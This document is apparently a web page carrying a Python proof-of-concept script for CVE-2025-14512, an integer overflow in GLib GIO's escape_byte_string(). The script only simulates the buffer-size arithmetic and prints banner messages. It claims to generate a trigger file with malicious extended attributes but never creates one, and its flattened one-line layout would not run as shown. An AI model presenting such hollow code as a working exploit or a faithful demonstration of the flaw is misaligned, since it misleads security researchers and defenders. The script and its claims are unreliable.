CVE-2025-14512 GLib GIO escape_byte_string() 整数溢出堆缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-14512 PoC - GLib GIO escape_byte_string() Integer Overflow This PoC demonstrates the vulnerability in GLib's GIO escape_byte_string() function. Note: This is for educational purposes only. """ import struct import sys def generate_malicious_input(): """ Generate malicious input that could trigger integer overflow in escape_byte_string() """ # Craft input that could cause integer overflow # when calculating buffer size in escape_byte_string() # The function may multiply length by factor for escaping # Large input that could cause overflow when processed malicious_length = 0x7FFFFFFF # Near max int32 value # Craft bytes that will trigger escaping logic # Characters that typically get escaped: \x00, ", ', \\, etc. pattern = b'\\x00' * (malicious_length // 2) return pattern def simulate_overflow(): """ Simulate the integer overflow scenario """ print("[*] CVE-2025-14512 - GLib GIO Integer Overflow PoC") print("[*] Target: GLib escape_byte_string() function") print("=" * 60) # Simulate buffer size calculation input_length = 0x7FFFFFFF escape_multiplier = 4 # Each byte might expand to 4 bytes # This demonstrates the overflow in size calculation calculated_size = input_length * escape_multiplier actual_alloc_size = calculated_size & 0xFFFFFFFF # Truncated to 32-bit print(f"[*] Input length: {hex(input_length)}") print(f"[*] Escape multiplier: {escape_multiplier}") print(f"[*] Calculated size (overflowed): {hex(calculated_size)}") print(f"[*] Actual allocated size: {hex(actual_alloc_size)}") print(f"[*] Size difference: {calculated_size - actual_alloc_size} bytes") print("") print("[!] Integer overflow detected!") print("[!] Allocated buffer is too small for actual data") print("[!] This could lead to heap buffer overflow") def create_trigger_file(): """ Generate a file with malicious extended attributes that could trigger the vulnerability """ print("\n[*] Generating malicious file with trigger attributes...") # Create file with potentially malicious xattr malicious_attr_value = b'A' * (0x40000000) # Large value for overflow print(f"[*] Malicious attribute size: {len(malicious_attr_value)} bytes") print("[*] File ready for triggering vulnerability") print("[*] When GLib's GIO processes this file's attributes,") print("[*] the escape_byte_string() function may overflow") if __name__ == "__main__": print("CVE-2025-14512 PoC - Educational Use Only\n") simulate_overflow() create_trigger_file()